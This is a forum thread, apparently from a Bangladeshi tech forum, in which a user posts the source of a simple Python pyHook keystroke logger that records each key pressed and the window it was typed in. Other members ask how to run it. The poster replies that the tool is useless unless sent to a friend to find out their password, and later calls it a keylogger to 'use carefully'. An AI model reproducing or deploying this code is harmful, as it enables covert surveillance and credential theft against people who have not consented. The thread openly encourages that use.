User Tag List

Results 1 to 5 of 5

Thread: [Python]KeyHook

  1. #1

    Default [Python]KeyHook

    Made this when I barely knew Python, and in the present, I wouldn't change a damn thing. Anyway, it's a keystroke logger. It uses the KeyHook to trace keyboard events on any type of window.

    Code:
    import pyHook
    import pygame
    
    def Key_Stroke_Program(event):
            """ Pythong """
            keys_pressed = []
    	messagename = 'MessageName: ' + str(event.MessageName)
    	windowname = 'WindowName: ' + str(event.WindowName)
    	keyname = 'Key: ' + str(event.Key)
    	keyid = 'KeyID: ' + str(event.KeyID)
    	print str(messagename) + "\n" + str(windowname) + "\n" + str(keyname) + "\n" + str(keyid)
    	if event.Key.lower() in ['lwin', 'tab', 'lmenu']:
    		return False	
    	else:
    		
    		return True
    
    hm = pyHook.HookManager()
    hm.KeyDown = Key_Stroke_Program
    hm.HookKeyboard()
    pygame.init()
    
    while(1):
    	pygame.event.pump()

  2. #2
    Member
    • xK::CREATOR's Gadgets
      • Motherboard:
      • gigabyte ga-g31m-s2l
      • CPU:
      • Core 2 duo E7200, 2.5 ghz of clockspeed, 3mb of L2 cache, 1033 mhz FSB
      • RAM:
      • 2 gb trancend, 800 mhz bus | Baraite chai, shamortho nai.
      • Hard Drive:
      • samsung 160 gb sata
      • Graphics Card:
      • xfx 8500 GT
      • Display:
      • 17" dell e178wf lcd <--- if it were a ladeh, she would have definitely been my wife.
      • Sound Card:
      • Built in.
      • Speakers/HPs:
      • Cosonic.
      • Keyboard:
      • Naah, i am more into guitars..
      • Mouse:
      • Razer Salmosa
      • Controller:
      • None.
      • Power Supply:
      • Delux 450 watt | power tree UPS | Rahim afrooz IPS | Italian power substation
      • Optical Drive:
      • Fibre optic er naam shunsi.. optical drive kya cheese hain ?? :S
      • Benchmark Scores:
      • Naah, i'd rather preffer sitting on chairs.
      • Comment:
      • Shobai to shukhi hote chaye.. tobu keu shukhi hoy, keu hoyna.. :'(
      • ISP:
      • Link3
      • Download Speed:
      • 40~
      • Upload Speed:
      • 40~
    xK::CREATOR's Avatar
    Join Date
    Feb 2008
    Location
    Dhanmondi , Dhaka, Bangladesh
    Posts
    2,689

    Default

    python shomporke amar bindu matro idea nai.

    ei script re execute korbo kemne? .exe file kaise banaungi?

  3. #3
    VIP Member
    • 's Gadgets
      • Motherboard:
      • CPU:
      • RAM:
      • 6GB (2+4 GB) DIMM DDR3 1333Mhz
      • Hard Drive:
      • 500GB SATA II 7200RPM
      • Graphics Card:
      • NVIDIA GT335M 1GB
      • Display:
      • Primary 11.6", Secondary 20"
      • Controller:
      • Logitech RP2
      • Operating System:
      • Genuine Windows(R) 7 Home Premium 64bit
      • ISP:
      • Qubee
      • Download Speed:
      • 128kBps
      • Upload Speed:
      • 128kBps
    Noob™'s Avatar
    Join Date
    Feb 2008
    Location
    mirpur-1, dhaka
    Posts
    5,343

    Default

    post in english.. i guess he doesnt know banglish..

  4. #4

    Default Re: [Python]KeyHook

    I know a little bit of Bangla, not a lot.

    You execute it through a python application. Just compile one and use an already made one. It just needs equal sum values. Once you've done that, you can monitor how many times you've clicked and/or how many times you've pressed a key. It's totally useless unless you send it to one of your friends... And find out their password. xD

  5. #5

    Default Re: [Python]KeyHook

    Bump.

    For those who didn't understand, it's a keylogger. Use carefully.

Similar Threads

  1. [07-08] D¹}x{SRS 1
    By KinG SRS in forum Goal of The Month
    Replies: 14
    Last Post: July 20th, 2008, 18:23
  2. Replies: 0
    Last Post: July 19th, 2008, 14:43

Tags for this Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  
Page generated in 0.16537 seconds with 14 queries.